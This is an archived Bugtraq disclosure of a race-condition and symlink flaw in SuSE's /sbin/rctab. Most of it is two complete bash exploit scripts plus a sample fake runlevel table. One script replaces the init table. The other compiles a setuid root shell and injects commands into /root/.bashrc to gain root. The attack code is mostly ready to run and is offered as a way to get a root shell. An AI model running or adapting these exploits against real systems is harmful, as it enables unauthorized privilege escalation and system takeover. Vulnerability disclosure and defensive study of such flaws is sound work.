[LWN Logo]
[Timeline]
Date:         Sat, 13 Jan 2001 19:15:51 +0100
From: Paul Starzetz <paul@STARZETZ.DE>
Subject:      Serious security flaw in SuSE rctab
To: BUGTRAQ@SECURITYFOCUS.COM

Hi @ll,

it seems that the problem described below has not been discussed on
Bugtraq.


Problem description
-------------------

Due to a various race conditions in the init level editing script
/sbin/rctab it is possible for any local user to overwrite any system's
file with arbitrary data. This may result in denial of service attack,
local or even remote root compromise, if root runs the /sbin/rctab
script.


Details
-------

The /sbin/rctab script doesn't check for links writing the temporary
rctmp file to /tmp/rctmpdir.$PID dir. Also the directory created isn't
chown'ed root. Because the PID of the rctab script can be guessed (or
looked up, however), any local user can replace the temporary rctmp file
with arbitrary content. This can be exploited in one of the following
manners:

a) local user replaces the rctmp with his own, resulting in
enabling/disabling any valid service listed in /sbin/init.d directory.
This may lead to a system running a vulnerable service after the
runlevel has been switched, resulting in further remote root compromise.

b) local user force the rctab script to write the content of rctmp file
to any other system's file including /etc/passwd or /etc/shadow. This
results in denial of service too.

c) local user trick the rctab script to write the contents of rctmp file
predecessed by some arbitrary data to some sensitive system file. In
conjunction with any sort of shell script executed by the root user and
the 'in here documents' it is possible to run any command inside the
attacked shell script.

d) ...and much more


Vulnerable Systems
------------------

At least SuSE 6.1-7.0, maybe other systems using rctab.


Exploit
-------

Attached 2 exploits

rcshell.sh: gives you r00tshell assuming that /root/.bashrc is present,
root runs crontab -e and saves the changes after changing something in
the runlevel table _and_ login again. (Yes, in some cases the script
will fail ;-)

changerc.sh: replaces system's inittable with an arbitrary one (assuming
rctab -e is run too)


IhaQueR.



-----------------------------------------------------------------
so now the scripts:

[changerc.sh]

#!/bin/bash
#	any user can force changes to runlevels
#	by IhaQueR

declare -i PLOW
declare -i PHIGH


# CONFIG:

PLOW=1
PHIGH=3

TMP="/tmp"
FAKERC="/tmp/fakerc"
RCTMPDIR="rctmpdir"
RCTMP="rctmp"

_pwd="$PWD"

#
echo "----------------------------------------------"
echo "|                                            |"
echo "|             rctab exploit                  |"
echo "|            by IhaQueR '2001                |"
echo "|                                            |"
echo "----------------------------------------------"
echo

# crate dirs
echo "[+] now creating directories"
echo "    this may take a while"
echo

declare -i cnt
cnt=$PLOW
umask 700

while [ $cnt -lt $PHIGH ]
do
	cnt=$(($cnt+1))
	if [ $(($cnt % 128)) -eq 0 ] ; then
		printf "[%6d] " $cnt
	fi;
	if [ $(($cnt % 1024)) -eq 0 ] ; then
		echo
	fi;
	mkdir -p "$TMP/$RCTMPDIR.$cnt"
done

echo
echo
echo "    finished creating dirs"
echo

# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"

while [ 1 ]
do
	rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
	if test $rctabpid -gt 1 ; then
		break
	fi
	sleep 1
done

# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

echo "[+] got rctab -e at pid $rctabpid"

# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"

if test -O $rcdir ; then
	echo "[+] ok, we own the dir"
else
	echo "[-] hm, we are not owner"
	exit 2
fi

# wait for root to finish editing
sleep 4
declare -i vipid
vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`

echo "    root is editing now at $vipid, wait for $rcfile"

pfile="/proc/$vipid"

while test -d $pfile
do
	echo -n >/dev/null
done
rm -rf $rcfile
cp $FAKERC $rcfile

echo "[+] gotcha!"
echo "    installed new rctab from $FAKERC"


-----------------------------------------------------------------

[rcshell.sh]

#!/bin/bash
#	any user can force changes to runlevels
#	by IhaQueR

declare -i PLOW
declare -i PHIGH

# CONFIG:

PLOW=1
PHIGH=3

TMP="/tmp"
FAKERC=/tmp/fakerc
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
WRITETO="/root/.bashrc"
SUSH="/tmp/sush"

# what we want to write to $WRITETO (oops...)
declare -i idx
idx=0
rchead=""

while test "$idx" -lt 128 ; do
	rchead="$rchead "
	idx=$(($idx+1))
done

rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null
<<_DUPA_"

_pwd="$PWD"


#
echo "----------------------------------------------"
echo "|                                            |"
echo "|        local rctab root exploit            |"
echo "|           you would need luck              |"
echo "|       and an admin stupid enough           |"
echo "|            by IhaQueR '2001                |"
echo "|                                            |"
echo "----------------------------------------------"
echo

# test sys
awkl=$(which awk)
if test -x $awkl ; then
	echo "[+] awk found"
else
	echo "[-] awk not found, edit this script :-)"
	exit 1
fi

if test -r /sbin/rctab ; then
        echo "[+] rctab found"
else
        echo "[-] rctab not found, sorry"
        exit 1
fi

# make suid shell
echo "[+] compiling suid shell"
cat << _DUPA_ >/tmp/sush.c
#include <stdio.h>
main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh",
argv); }
_DUPA_

# compile shell
gcc /tmp/sush.c -o $SUSH


# crate dirs
echo "[+] now creating directories"
echo "    this may take a while"
echo

declare -i cnt
cnt=$PLOW
umask 000

while [ $cnt -lt $PHIGH ]
do
	cnt=$(($cnt+1))
	if [ $(($cnt % 128)) -eq 0 ] ; then
		printf "[%6d] " $cnt
	fi;
	if [ $(($cnt % 1024)) -eq 0 ] ; then
		echo
	fi;
	mkdir -p "$TMP/$RCTMPDIR.$cnt"
done

echo
echo
echo "    finished creating dirs"
echo

# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"

while [ 1 ]
do
	rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
	if test $rctabpid -gt 1 ; then
		break
	fi
	sleep 1
done

# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

# append our cmd
echo >$rcfile "$rchead"

echo "[+] got rctab -e at pid $rctabpid"

# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"

if test -O $rcdir ; then
	echo "[+] ok, we own the dir"
else
	echo "[-] hm, we are not owner"
	exit 2
fi

# wait for editor
declare -i vipid
vipid=0
while [ $vipid -lt 1 ]
do
	vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
done

echo "    root is editing now at pid $vipid, wait for writing $rcfile"
sleep 1

pfile="/proc/$vipid"

# relink
declare -i lcnt
lcnt=$(wc -l $rcfile|awk '{print $1-2 }')
tail -n$lcnt $rcfile >$rcfile.new
rm -rf $rcfile
ln -sf $WRITETO $rcfile

if test -r "$WRITETO" ; then
	md=$(cat $WRITETO|md5sum)
fi

if test -r $WRITETO ; then
	ac=$(ls -l --full-time $WRITETO)
else
	ac="none"
fi

# wait for root to write rctab or exit
while test -d $pfile
do
	if test -r "$WRITETO" ; then
		oc="$(ls -l --full-time $WRITETO)"
		if test "$ac" != "$oc" ; then
			echo "[+] $WRITETO replaced"
			break
		fi
	fi
done
rm -rf $rcfile; ln -s $rcfile.new $rcfile

if test "$md" = "$(cat $WRITETO|md5sum)" ; then
	echo "[-] bashrc not changed, sorry"
	exit 2
else
	echo "[+] gotcha! wait for root to login"
fi

# now wait for root to login :-)
while test -O $SUSH ; do
	sleep 1
done

echo "[+] suid shell at $SUSH"
sleep 1
$SUSH


-----------------------------------------------------------------

[sample fakerc]

#
# Generated by rctab: Fri Jan 12 21:02:40 CET 2001
#
#  Special scripts
#
#  halt   -- only for runlevel 0
#  reboot -- only for runlevel 6
#  single -- only for single user mode
#
#  Remaining services
#
# apache argus at autofs boot.setup cdb cipe cron dummy firewall gpm
# halt.local inetd inn ipfwadm ircd kbd kerneld lpd masquerade named
network
# nfs nfsserver ntopd pcnfsd pings quota quotad random rinetd route
routed
# rpc rwhod scanlogd sendmail serial smb squid sshd syslog xdm xinetd
xntpd
# ypclient yppasswdd ypserv ypxfrd
#
Runlevel:1  Runlevel:2  Runlevel:3  Runlevel:4  Runlevel:5
kerneld     kerneld     kerneld     -           -
serial      serial      serial      -           -
dummy       dummy       dummy       -           -
syslog      network     network     -           -
boot.setup  firewall    firewall    -           -
gpm         masquerade  masquerade  -           -
kbd         route       route       -           -
random      cipe        cipe        -           -
-           rpc         rpc         -           -
-           argus       argus       -           -
-           nfs         nfs         -           -
-           scanlogd    scanlogd    -           -
-           syslog      syslog      -           -
-           boot.setup  boot.setup  -           -
-           routed      routed      -           -
-           named       named       -           -
-           quota       quota       -           -
-           nfsserver   nfsserver   -           -
-           pcnfsd      pcnfsd      -           -
-           quotad      quotad      -           -
-           yppasswdd   yppasswdd   -           -
-           ypserv      ypserv      -           -
-           ypxfrd      ypxfrd      -           -
-           ypclient    ypclient    -           -
-           autofs      autofs      -           -
-           apache      apache      -           -
-           at          at          -           -
-           gpm         inetd       -           -
-           inetd       inn         -           -
-           inn         ipfwadm     -           -
-           ipfwadm     ircd        -           -
-           ircd        kbd         -           -
-           kbd         lpd         -           -
-           lpd         ntopd       -           -
-           ntopd       random      -           -
-           random      rinetd      -           -
-           rinetd      rwhod       -           -
-           rwhod       sendmail    -           -
-           sendmail    smb         -           -
-           smb         squid       -           -
-           squid       sshd        -           -
-           sshd        xinetd      -           -
-           xinetd      xntpd       -           -
-           xntpd       cron        -           -
-           cron        xdm         -           -
-           pings       -           -           -
-           -           -           -           -
-           -           -           -           -
-           -           -           -           -
-           -           -           -           -
-           -           -           -           -
-           -           -           -           -